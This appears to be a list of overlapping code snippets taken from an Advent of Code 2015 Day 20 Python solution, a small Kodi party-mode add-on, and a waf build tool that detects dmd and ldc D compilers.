"presents. # House 9 got 130 presents. # # The first house gets",
"House 6 got 120 presents. # House 7 got 80 presents. # House",
"the Elves busy, Santa has them deliver some presents by hand, door-to-door. He",
"# House 9 got 130 presents. # # The first house gets 10",
"presents, because it is visited by Elves 1, 2, and 4, for a",
"presents = sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no))",
"and Infinite Houses --- # # To keep the Elves busy, Santa has",
"to 50 houses. To make up for it, they decide to deliver presents",
"what is the new lowest house number of the house to get at",
"+ 1): if n % x == 0: factors.add(x) factors.add(n // x) return",
"# gets 70 presents, because it is visited by Elves 1, 2, and",
"up for it, they decide to deliver presents equal to eleven times their",
"nine houses on the street end up like this: # # House 1",
"House 1 got 10 presents. # House 2 got 30 presents. # House",
"delivers 1 * 10 = 10 presents. The fourth house # gets 70",
"keep the Elves busy, Santa has them deliver some presents by hand, door-to-door.",
"with 1. Each Elf delivers presents equal to ten times his or her",
"deliver some presents by hand, door-to-door. He sends them down a street with",
"like this: # # House 1 got 10 presents. # House 2 got",
"if (n // x) * 50 >= n: factors.add(n // x) return factors",
"got 130 presents. # # The first house gets 10 presents: it is",
"(number 1) delivers presents to every house: 1, 2, 3, 4, 5, ....",
"house to get at least as many presents as the number in your",
"% x == 0: if x * 50 >= n: factors.add(x) if (n",
"--- Day 20: Infinite Elves and Infinite Houses --- # # To keep",
"def get_part2_factors(n): factors = set() for x in range(1, int(sqrt(n)) + 1): if",
"factors data = 33100000 # Part 1 house_no = 1 while True: presents",
"# # The Elves decide they don't want to visit an infinite number",
"house. # # So, the first nine houses on the street end up",
"# # To keep the Elves busy, Santa has them deliver some presents",
"--- # # To keep the Elves busy, Santa has them deliver some",
"to deliver presents equal to eleven times their number at each # house.",
"presents. # House 5 got 60 presents. # House 6 got 120 presents.",
"each Elf will stop after delivering # presents to 50 houses. To make",
"1) delivers presents to every house: 1, 2, 3, 4, 5, .... #",
"at each house. # # So, the first nine houses on the street",
"150 presents. # House 9 got 130 presents. # # The first house",
"n % x == 0: factors.add(x) factors.add(n // x) return factors def get_part2_factors(n):",
"1 while True: presents = sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents >= data:",
"* 50 >= n: factors.add(x) if (n // x) * 50 >= n:",
"presents to every second house: 2, 4, 6, 8, 10, .... # Elf",
"# The Elves decide they don't want to visit an infinite number of",
"Each Elf is assigned a number, too, and delivers presents to houses based",
"factors def get_part2_factors(n): factors = set() for x in range(1, int(sqrt(n)) + 1):",
"10 presents. # House 2 got 30 presents. # House 3 got 40",
"third house: 3, 6, 9, 12, 15, .... # # There are infinitely",
"decide to deliver presents equal to eleven times their number at each #",
"(n // x) * 50 >= n: factors.add(n // x) return factors data",
"puzzle input? # # --- Part Two --- # # The Elves decide",
"at each # house. # # With these changes, what is the new",
"True: presents = sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents >= data: print(\"House no:",
"starting with 1. Each Elf delivers presents equal to ten times his or",
"1 house_no = 1 while True: presents = sum(map(lambda i: i*10, get_part1_factors(house_no))) if",
"no: {0}\".format(house_no)) break house_no += 1 # Part 2 house_no = 1 while",
"it is visited only by Elf 1, which delivers 1 * 10 =",
"presents. # # The first house gets 10 presents: it is visited only",
"+= 1 # Part 2 house_no = 1 while True: presents = sum(map(lambda",
"x in range(1, int(sqrt(n)) + 1): if n % x == 0: factors.add(x)",
"got 40 presents. # House 4 got 70 presents. # House 5 got",
"to every house: 1, 2, 3, 4, 5, .... # The second Elf",
"factors.add(x) factors.add(n // x) return factors def get_part2_factors(n): factors = set() for x",
"and delivers presents to houses based on that number: # # The first",
"# presents to 50 houses. To make up for it, they decide to",
"in your puzzle input? from math import sqrt def get_part1_factors(n): factors = set()",
"get_part2_factors(n): factors = set() for x in range(1, int(sqrt(n)) + 1): if n",
"house: 2, 4, 6, 8, 10, .... # Elf number 3 delivers presents",
"will stop after delivering # presents to 50 houses. To make up for",
"her # number at each house. # # So, the first nine houses",
"houses on the street end up like this: # # House 1 got",
"fourth house # gets 70 presents, because it is visited by Elves 1,",
"houses based on that number: # # The first Elf (number 1) delivers",
"= 10 presents. The fourth house # gets 70 presents, because it is",
"presents. # House 4 got 70 presents. # House 5 got 60 presents.",
"an infinite number of houses. Instead, each Elf will stop after delivering #",
"presents. # House 7 got 80 presents. # House 8 got 150 presents.",
"each house. # # So, the first nine houses on the street end",
"for a total of 10 + 20 + 40 = 70 presents. #",
"50 >= n: factors.add(n // x) return factors data = 33100000 # Part",
"House 2 got 30 presents. # House 3 got 40 presents. # House",
"# House 6 got 120 presents. # House 7 got 80 presents. #",
"# number at each house. # # So, the first nine houses on",
"for x in range(1, int(sqrt(n)) + 1): if n % x == 0:",
"# House 5 got 60 presents. # House 6 got 120 presents. #",
"1 while True: presents = sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents >= data:",
"visited by Elves 1, 2, and 4, for a total of 10 +",
"presents to every house: 1, 2, 3, 4, 5, .... # The second",
"--- # # The Elves decide they don't want to visit an infinite",
"got 80 presents. # House 8 got 150 presents. # House 9 got",
"# To keep the Elves busy, Santa has them deliver some presents by",
"== 0: factors.add(x) factors.add(n // x) return factors def get_part2_factors(n): factors = set()",
"house to get at least as many presents as the number # in",
"x) * 50 >= n: factors.add(n // x) return factors data = 33100000",
"The first Elf (number 1) delivers presents to every house: 1, 2, 3,",
"2 got 30 presents. # House 3 got 40 presents. # House 4",
"# So, the first nine houses on the street end up like this:",
"4, 6, 8, 10, .... # Elf number 3 delivers presents to every",
"by Elves 1, 2, and 4, for a total of 10 + 20",
"+ 40 = 70 presents. # # What is the lowest house number",
"house gets 10 presents: it is visited only by Elf 1, which delivers",
"Elves busy, Santa has them deliver some presents by hand, door-to-door. He sends",
"got 70 presents. # House 5 got 60 presents. # House 6 got",
"every house: 1, 2, 3, 4, 5, .... # The second Elf (number",
"your puzzle input? # # --- Part Two --- # # The Elves",
"while True: presents = sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents >= data: print(\"House",
">= data: print(\"House no: {0}\".format(house_no)) break house_no += 1 # Part 2 house_no",
"the lowest house number of the house to get at least as many",
"first house gets 10 presents: it is visited only by Elf 1, which",
"visited only by Elf 1, which delivers 1 * 10 = 10 presents.",
"7 got 80 presents. # House 8 got 150 presents. # House 9",
"# --- Day 20: Infinite Elves and Infinite Houses --- # # To",
"get_part1_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no += 1 #",
"--- Part Two --- # # The Elves decide they don't want to",
"4, 5, .... # The second Elf (number 2) delivers presents to every",
"ten times his or her # number at each house. # # So,",
"40 presents. # House 4 got 70 presents. # House 5 got 60",
"of 10 + 20 + 40 = 70 presents. # # What is",
"+ 1): if n % x == 0: if x * 50 >=",
"data: print(\"House no: {0}\".format(house_no)) break house_no += 1 # Part 2 house_no =",
"return factors data = 33100000 # Part 1 house_no = 1 while True:",
"as many presents as the number in your puzzle input? # # ---",
"to every third house: 3, 6, 9, 12, 15, .... # # There",
"least as many presents as the number # in your puzzle input? from",
"House 3 got 40 presents. # House 4 got 70 presents. # House",
"70 presents. # House 5 got 60 presents. # House 6 got 120",
"x * 50 >= n: factors.add(x) if (n // x) * 50 >=",
"factors.add(x) if (n // x) * 50 >= n: factors.add(n // x) return",
"input? # # --- Part Two --- # # The Elves decide they",
"puzzle input? from math import sqrt def get_part1_factors(n): factors = set() for x",
"second house: 2, 4, 6, 8, 10, .... # Elf number 3 delivers",
"0: factors.add(x) factors.add(n // x) return factors def get_part2_factors(n): factors = set() for",
"# house. # # With these changes, what is the new lowest house",
"# # The first Elf (number 1) delivers presents to every house: 1,",
"Elf will stop after delivering # presents to 50 houses. To make up",
"presents equal to ten times his or her # number at each house.",
"20: Infinite Elves and Infinite Houses --- # # To keep the Elves",
"i*11, get_part2_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no += 1",
"as the number in your puzzle input? # # --- Part Two ---",
"4, 5, and so on. # # Each Elf is assigned a number,",
"1 # Part 2 house_no = 1 while True: presents = sum(map(lambda i:",
"33100000 # Part 1 house_no = 1 while True: presents = sum(map(lambda i:",
"that number: # # The first Elf (number 1) delivers presents to every",
"they don't want to visit an infinite number of houses. Instead, each Elf",
"get at least as many presents as the number # in your puzzle",
"Part 2 house_no = 1 while True: presents = sum(map(lambda i: i*11, get_part2_factors(house_no)))",
"got 30 presents. # House 3 got 40 presents. # House 4 got",
"it, they decide to deliver presents equal to eleven times their number at",
"# The first Elf (number 1) delivers presents to every house: 1, 2,",
"or her # number at each house. # # So, the first nine",
"delivers presents to every third house: 3, 6, 9, 12, 15, .... #",
"is visited by Elves 1, 2, and 4, for a total of 10",
"He sends them down a street with # infinite houses numbered sequentially: 1,",
"to get at least as many presents as the number # in your",
"# Part 2 house_no = 1 while True: presents = sum(map(lambda i: i*11,",
"on that number: # # The first Elf (number 1) delivers presents to",
"presents >= data: print(\"House no: {0}\".format(house_no)) break house_no += 1 # Part 2",
"after delivering # presents to 50 houses. To make up for it, they",
"import sqrt def get_part1_factors(n): factors = set() for x in range(1, int(sqrt(n)) +",
"so on. # # Each Elf is assigned a number, too, and delivers",
"10, .... # Elf number 3 delivers presents to every third house: 3,",
"range(1, int(sqrt(n)) + 1): if n % x == 0: factors.add(x) factors.add(n //",
"* 50 >= n: factors.add(n // x) return factors data = 33100000 #",
"delivers presents to every second house: 2, 4, 6, 8, 10, .... #",
"# infinite houses numbered sequentially: 1, 2, 3, 4, 5, and so on.",
"x) return factors def get_part2_factors(n): factors = set() for x in range(1, int(sqrt(n))",
"number # in your puzzle input? from math import sqrt def get_part1_factors(n): factors",
"# # What is the lowest house number of the house to get",
"6 got 120 presents. # House 7 got 80 presents. # House 8",
"decide they don't want to visit an infinite number of houses. Instead, each",
"gets 70 presents, because it is visited by Elves 1, 2, and 4,",
"with # infinite houses numbered sequentially: 1, 2, 3, 4, 5, and so",
"# Each Elf is assigned a number, too, and delivers presents to houses",
"int(sqrt(n)) + 1): if n % x == 0: factors.add(x) factors.add(n // x)",
"12, 15, .... # # There are infinitely many Elves, numbered starting with",
"Elves, numbered starting with 1. Each Elf delivers presents equal to ten times",
"number 3 delivers presents to every third house: 3, 6, 9, 12, 15,",
"least as many presents as the number in your puzzle input? # #",
"sequentially: 1, 2, 3, 4, 5, and so on. # # Each Elf",
"number at each # house. # # With these changes, what is the",
"1): if n % x == 0: if x * 50 >= n:",
"{0}\".format(house_no)) break house_no += 1 # Part 2 house_no = 1 while True:",
"on the street end up like this: # # House 1 got 10",
"on. # # Each Elf is assigned a number, too, and delivers presents",
"True: presents = sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents >= data: print(\"House no:",
"range(1, int(sqrt(n)) + 1): if n % x == 0: if x *",
"them down a street with # infinite houses numbered sequentially: 1, 2, 3,",
"and so on. # # Each Elf is assigned a number, too, and",
"sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no",
"a total of 10 + 20 + 40 = 70 presents. # #",
"end up like this: # # House 1 got 10 presents. # House",
"delivers presents to every house: 1, 2, 3, 4, 5, .... # The",
"is the new lowest house number of the house to get at least",
"10 = 10 presents. The fourth house # gets 70 presents, because it",
"presents by hand, door-to-door. He sends them down a street with # infinite",
"= 70 presents. # # What is the lowest house number of the",
".... # Elf number 3 delivers presents to every third house: 3, 6,",
"= 1 while True: presents = sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents >=",
"is assigned a number, too, and delivers presents to houses based on that",
"the house to get at least as many presents as the number #",
"get_part1_factors(n): factors = set() for x in range(1, int(sqrt(n)) + 1): if n",
"their number at each # house. # # With these changes, what is",
"Infinite Elves and Infinite Houses --- # # To keep the Elves busy,",
"4, for a total of 10 + 20 + 40 = 70 presents.",
"first Elf (number 1) delivers presents to every house: 1, 2, 3, 4,",
"presents to every third house: 3, 6, 9, 12, 15, .... # #",
"this: # # House 1 got 10 presents. # House 2 got 30",
"presents. # House 8 got 150 presents. # House 9 got 130 presents.",
"+ 20 + 40 = 70 presents. # # What is the lowest",
"house: 1, 2, 3, 4, 5, .... # The second Elf (number 2)",
"6, 8, 10, .... # Elf number 3 delivers presents to every third",
"presents. The fourth house # gets 70 presents, because it is visited by",
"x) return factors data = 33100000 # Part 1 house_no = 1 while",
"busy, Santa has them deliver some presents by hand, door-to-door. He sends them",
"the first nine houses on the street end up like this: # #",
"presents as the number # in your puzzle input? from math import sqrt",
"Elves 1, 2, and 4, for a total of 10 + 20 +",
"Elf delivers presents equal to ten times his or her # number at",
"data = 33100000 # Part 1 house_no = 1 while True: presents =",
"The Elves decide they don't want to visit an infinite number of houses.",
"9, 12, 15, .... # # There are infinitely many Elves, numbered starting",
"got 150 presents. # House 9 got 130 presents. # # The first",
"Elf (number 1) delivers presents to every house: 1, 2, 3, 4, 5,",
"presents. # House 6 got 120 presents. # House 7 got 80 presents.",
"So, the first nine houses on the street end up like this: #",
"# House 1 got 10 presents. # House 2 got 30 presents. #",
"house_no = 1 while True: presents = sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents",
"door-to-door. He sends them down a street with # infinite houses numbered sequentially:",
"Elves decide they don't want to visit an infinite number of houses. Instead,",
"many presents as the number in your puzzle input? # # --- Part",
"x == 0: factors.add(x) factors.add(n // x) return factors def get_part2_factors(n): factors =",
"1, which delivers 1 * 10 = 10 presents. The fourth house #",
"= set() for x in range(1, int(sqrt(n)) + 1): if n % x",
"infinite houses numbered sequentially: 1, 2, 3, 4, 5, and so on. #",
"up like this: # # House 1 got 10 presents. # House 2",
"The second Elf (number 2) delivers presents to every second house: 2, 4,",
"is visited only by Elf 1, which delivers 1 * 10 = 10",
"numbered sequentially: 1, 2, 3, 4, 5, and so on. # # Each",
"got 120 presents. # House 7 got 80 presents. # House 8 got",
"want to visit an infinite number of houses. Instead, each Elf will stop",
"2) delivers presents to every second house: 2, 4, 6, 8, 10, ....",
"is the lowest house number of the house to get at least as",
"as the number # in your puzzle input? from math import sqrt def",
"2, 4, 6, 8, 10, .... # Elf number 3 delivers presents to",
".... # # There are infinitely many Elves, numbered starting with 1. Each",
"presents = sum(map(lambda i: i*10, get_part1_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no))",
"# # The first house gets 10 presents: it is visited only by",
"1. Each Elf delivers presents equal to ten times his or her #",
"total of 10 + 20 + 40 = 70 presents. # # What",
"of the house to get at least as many presents as the number",
"# What is the lowest house number of the house to get at",
"Houses --- # # To keep the Elves busy, Santa has them deliver",
"Part 1 house_no = 1 while True: presents = sum(map(lambda i: i*10, get_part1_factors(house_no)))",
"10 presents. The fourth house # gets 70 presents, because it is visited",
"delivers presents equal to ten times his or her # number at each",
"delivering # presents to 50 houses. To make up for it, they decide",
"# # House 1 got 10 presents. # House 2 got 30 presents.",
"input? from math import sqrt def get_part1_factors(n): factors = set() for x in",
"assigned a number, too, and delivers presents to houses based on that number:",
"house_no += 1 # Part 2 house_no = 1 while True: presents =",
"Infinite Houses --- # # To keep the Elves busy, Santa has them",
"3, 6, 9, 12, 15, .... # # There are infinitely many Elves,",
"the number # in your puzzle input? from math import sqrt def get_part1_factors(n):",
"street with # infinite houses numbered sequentially: 1, 2, 3, 4, 5, and",
"30 presents. # House 3 got 40 presents. # House 4 got 70",
"(number 2) delivers presents to every second house: 2, 4, 6, 8, 10,",
"120 presents. # House 7 got 80 presents. # House 8 got 150",
"50 houses. To make up for it, they decide to deliver presents equal",
"some presents by hand, door-to-door. He sends them down a street with #",
"if x * 50 >= n: factors.add(x) if (n // x) * 50",
"70 presents, because it is visited by Elves 1, 2, and 4, for",
"5, and so on. # # Each Elf is assigned a number, too,",
"What is the lowest house number of the house to get at least",
"get at least as many presents as the number in your puzzle input?",
"of houses. Instead, each Elf will stop after delivering # presents to 50",
"6, 9, 12, 15, .... # # There are infinitely many Elves, numbered",
"for it, they decide to deliver presents equal to eleven times their number",
"to every second house: 2, 4, 6, 8, 10, .... # Elf number",
"5, .... # The second Elf (number 2) delivers presents to every second",
"presents. # House 3 got 40 presents. # House 4 got 70 presents.",
"# # Each Elf is assigned a number, too, and delivers presents to",
"to ten times his or her # number at each house. # #",
"1, 2, 3, 4, 5, .... # The second Elf (number 2) delivers",
"# The first house gets 10 presents: it is visited only by Elf",
"Elf (number 2) delivers presents to every second house: 2, 4, 6, 8,",
"are infinitely many Elves, numbered starting with 1. Each Elf delivers presents equal",
"9 got 130 presents. # # The first house gets 10 presents: it",
"sum(map(lambda i: i*11, get_part2_factors(house_no))) if presents >= data: print(\"House no: {0}\".format(house_no)) break house_no",
"The first house gets 10 presents: it is visited only by Elf 1,",
"the new lowest house number of the house to get at least as",
"# With these changes, what is the new lowest house number of the",
"a number, too, and delivers presents to houses based on that number: #",
"# Part 1 house_no = 1 while True: presents = sum(map(lambda i: i*10,",
"# There are infinitely many Elves, numbered starting with 1. Each Elf delivers",
"# House 4 got 70 presents. # House 5 got 60 presents. #"
] |
[
"<<EMAIL>> # Released under the terms of the MIT License import xbmc xbmc.executebuiltin('xbmc.PlayerControl(Partymode(music)',",
"partymoder xbmc add-on # Copyright 2017 aerth <<EMAIL>> # Released under the terms",
"under the terms of the MIT License import xbmc xbmc.executebuiltin('xbmc.PlayerControl(Partymode(music)', True) xbmc.executebuiltin('xbmc.PlayerControl(repeatall)', True)",
"xbmc add-on # Copyright 2017 aerth <<EMAIL>> # Released under the terms of",
"2017 aerth <<EMAIL>> # Released under the terms of the MIT License import",
"aerth <<EMAIL>> # Released under the terms of the MIT License import xbmc",
"# partymoder xbmc add-on # Copyright 2017 aerth <<EMAIL>> # Released under the",
"# Released under the terms of the MIT License import xbmc xbmc.executebuiltin('xbmc.PlayerControl(Partymode(music)', True)",
"the terms of the MIT License import xbmc xbmc.executebuiltin('xbmc.PlayerControl(Partymode(music)', True) xbmc.executebuiltin('xbmc.PlayerControl(repeatall)', True) xbmc.executebuiltin(\"Action(Fullscreen)\",",
"terms of the MIT License import xbmc xbmc.executebuiltin('xbmc.PlayerControl(Partymode(music)', True) xbmc.executebuiltin('xbmc.PlayerControl(repeatall)', True) xbmc.executebuiltin(\"Action(Fullscreen)\", True)",
"# Copyright 2017 aerth <<EMAIL>> # Released under the terms of the MIT",
"Released under the terms of the MIT License import xbmc xbmc.executebuiltin('xbmc.PlayerControl(Partymode(music)', True) xbmc.executebuiltin('xbmc.PlayerControl(repeatall)',",
"Copyright 2017 aerth <<EMAIL>> # Released under the terms of the MIT License",
"add-on # Copyright 2017 aerth <<EMAIL>> # Released under the terms of the"
] |
[
"if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows is not supported, use gdc or",
"out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler",
"v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER=''",
"v2.')>-1: conf.fatal('dmd2 on Windows is not supported, use gdc or ldc2 instead') conf.load('ar')",
"out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\") @conf def",
"conf.fatal(\"detected compiler is not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf",
"is not supported, use gdc or ldc2 instead') conf.load('ar') conf.load('d') conf.common_flags_dmd() conf.d_platform_flags() if",
"v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di'",
"from waflib.Configure import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1:",
"v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if",
"DMD v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[]",
"find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1:",
"dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c']",
"compiler is not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def",
"import sys from waflib.Tools import ar,d from waflib.Configure import conf @conf def find_dmd(conf):",
"WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ar,d from waflib.Configure",
"out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows is not supported, use gdc or ldc2",
"out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env",
"v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler",
"#! /usr/bin/env python # encoding: utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import",
"conf.fatal('dmd2 on Windows is not supported, use gdc or ldc2 instead') conf.load('ar') conf.load('d')",
"import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if",
"utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ar,d",
"v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1:",
"v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help'])",
"waflib.Tools import ar,d from waflib.Configure import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if",
"sys from waflib.Tools import ar,d from waflib.Configure import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D')",
"v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf):",
"on Windows is not supported, use gdc or ldc2 instead') conf.load('ar') conf.load('d') conf.common_flags_dmd()",
"v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2",
"from waflib.Tools import ar,d from waflib.Configure import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help'])",
"import ar,d from waflib.Configure import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D",
"v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s'",
"waflib.Configure import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version'])",
"def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D",
"Windows is not supported, use gdc or ldc2 instead') conf.load('ar') conf.load('d') conf.common_flags_dmd() conf.d_platform_flags()",
"python # encoding: utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from",
"not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ar,d from waflib.Configure import conf",
"def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD",
"Compiler v2.')>-1: conf.fatal('dmd2 on Windows is not supported, use gdc or ldc2 instead')",
"def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows",
"conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected",
"common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC']",
"configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows is",
"@conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on",
"if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows is not supported,",
"v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared']",
"https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ar,d from waflib.Configure import conf @conf def",
"@conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s'",
"v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s'",
